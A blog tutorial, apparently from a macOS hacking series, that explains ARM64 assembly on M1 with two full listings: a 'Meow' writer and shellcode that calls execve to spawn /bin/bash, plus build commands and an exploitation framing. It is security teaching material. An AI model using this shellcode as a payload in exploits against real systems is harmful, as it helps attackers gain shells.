MacOS hacking part 6: Assebmly intro on ARM(M1). Simple NASM (M1) examples
﷽
Hello, cybersecurity enthusiasts and white hackers!
In this article, I will walk you through an assembly code that writes a simple message and run shell on a macOS system using M1 ARM64
architecture. We will go through the code step by step, explaining each part in simple terms.
practical example
First example is pretty simple: macOS ARM64 shellcode for “Meow\n” to stdout. Start from setting up the write syscall:
mov x0, #1
The logic is x0 = 1
, this register is used for the first syscall argument: the file descriptor. Here, 1
is stdout.
adr x1,msg
x1 = address of msg
. ARM64 doesn’t use lea
like x86_64
, but adr
works: it puts the address of the msg
string into x1
(the second syscall argument).
Then:
mov x2,#5
This is just: x2 = 5
. This is the length of the message (“Meow\n” is 5 bytes).
At the next step, we need a calling the kernel (write syscall). Something like this:
movz x16, #0x4 ; x16 = 0x00000004
movk x16, #0x2000, lsl #16 ; x16 = 0x00200004
svc #0x80 ; make syscall
As you can see, from comments: x16 = syscall number
. On macOS ARM64, syscalls use a big number: 0x2000004
for write. movz
loads the low 16
bits, then movk
fills in the higher bits. svc #0x80
triggers the kernel: perform the syscall.
Then, finally, exit cleanly, like this:
; exit(0)
mov x0, #0
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
x0 = 0
- exit code, then x16 = 0x2000001
. That’s the exit syscall. svc #0x80
again: make the syscall.
The data:
; --- data ---
.align 2
msg:
.ascii "Meow\n"
Just the message, raw in the binary.
What is the difference from x86_64
(Intel) shellcode on macOS?
First of all, syscall calling convention! For example, arguments: x0,x1,x2....
. Syscall numbers are much bigger on macOS ARM64 (e.g., 0x2000004
for write). Also as I wrote before, x86_64
uses lea
to get addresses, but ARM uses adr
or adrp/add
combo.
In general, for shellcoding on ARM64: You can’t just mov x16, #0x2000004
- it doesn’t fit! What is the solution? We build it with movz
and movk
.
Shellcoding on ARM64 means learning new tricks and register names - but conceptually, it’s still “put your arguments in order, put your syscall number in the magic register, trap to the kernel, profit.”
So full source code looks like this meow.s
:
; macOS ARM64 shellcode: write "Meow\n" to stdout
; author cocomelonc
; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html
.global _start
.section __TEXT,__text
_start:
; write(1, buf, 5)
mov x0, #1 ; fd = 1 (stdout)
adr x1, msg ; buffer pointer
mov x2, #5 ; length = 5
movz x16, #0x4 ; x16 = 0x00000004
movk x16, #0x2000, lsl #16 ; x16 = 0x00200004
svc #0x80 ; make syscall
; exit(0)
mov x0, #0
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
; --- data ---
.align 2
msg:
.ascii "Meow\n"
demo 1
Let’s go to see first example in action. Compile it:
as -arch arm64 meow.s -o meow.o
Then, try to link:
ld -arch arm64 -macosx_version_min 14.0 -e _start -o meow meow.o
But, we have an error:
So, we need run another command. First of all check this:
xcrun --sdk macosx --show-sdk-path
As you can see, in my case (MacBook Air on M1 with Mac OS X 15
), we have /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk
So, update our command for linking:
ld -arch arm64 -e _start -o meow meow.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
As you can see, successfully linked, then run:
./meow
Everything is worked perfectly as expected! =^..^=
practical example 2
Let’s break down macOS ARM64 shellcode for running /bin/bash
(works the same for /bin/zsh
- we need just change the string).
First of all, we need to prepare the /bin/bash
string:
adrp x1, binzsh@page
add x1, x1, binzsh@pageoff
adrp
and add
load the address of the string /bin/bash
into x1
. On ARM64, you can’t just lea
like x86
. You need this 2
-step trick for PC-relative addressing.
Then, prepare argv
array ([ "/bin/bash", NULL ]
) like this:
; prepare argv ["/bin/bash", NULL] on the stack
sub sp, sp, 16
str x1, [sp]
mov x2, #0
str x2, [sp, #8]
sp
points to the start of our new stack array, argv[0]
is pointer to the path, argv[1]
is NULL
.
At the next step set up registers for execve
, in this case x0
- filename, x1
- argv
array and x2
- envp
(environment):
mov x0, x1 ; path
mov x1, sp ; argv
mov x2, xzr ; envp
Syscall execve
:
; syscall execve (0x200003b)
movz x16, #0x3b
movk x16, #0x2000, lsl #16
svc #0x80
Here, x16
= syscall number for execve
(0x200003b
on macOS/ARM64).
Finally, if execve
fails, just exit with code 1
:
; fallback exit(1)
mov x0, #1
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
Also add null
-terminated string for the shell path in data section.
Full source code for this example looks like this hack.s
:
; macOS ARM64 shellcode: run "/bin/bash"
; author cocomelonc
; https://cocomelonc.github.io/macos/2025/07/18/malware-mac-6.html
.global _start
.section __TEXT,__text
_start:
; prepare string "/bin/bash" on the stack
adrp x1, binzsh@page
add x1, x1, binzsh@pageoff
; prepare argv ["/bin/bash", NULL] on the stack
sub sp, sp, 16
str x1, [sp]
mov x2, #0
str x2, [sp, #8]
mov x0, x1 ; path
mov x1, sp ; argv
mov x2, xzr ; envp
; syscall execve (0x200003b)
movz x16, #0x3b
movk x16, #0x2000, lsl #16
svc #0x80
; fallback exit(1)
mov x0, #1
movz x16, #0x1
movk x16, #0x2000, lsl #16
svc #0x80
.align 2
binzsh:
.asciz "/bin/bash"
demo 2
Let’s go to see in action this second example. Compile it:
as -arch arm64 hack.s -o hack.o
Then link it:
ld -arch arm64 -e _start -o hack hack.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
As you can see, successfully linked, then run:
./hack
As you can see, everything is worked perfectly! Shell spawned! =^..^=
conclusion
The ARM64
assembly shellcode for macOS
is a minimalistic and position-independent routine that interacts directly with the kernel via system calls. It places all required arguments in the appropriate registers and encodes syscall numbers using the specific ARM64
idiom with movz
and movk
instructions, as required by macOS
conventions.
For data such as command-line strings or output text, it leverages either the stack or inline data within the binary, carefully managing addresses using relative instructions like adr or adrp/add
. The code constructs necessary argument arrays for syscalls like execve
manually, respecting calling conventions for argv
and envp
pointers.
The entire payload is crafted to avoid dependencies on any external libraries or absolute addresses, making it highly portable and practical for use in real-world exploitation or red teaming scenarios.
I hope this post is useful for malware researchers, macOS/Apple
security researchers, ASM
programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine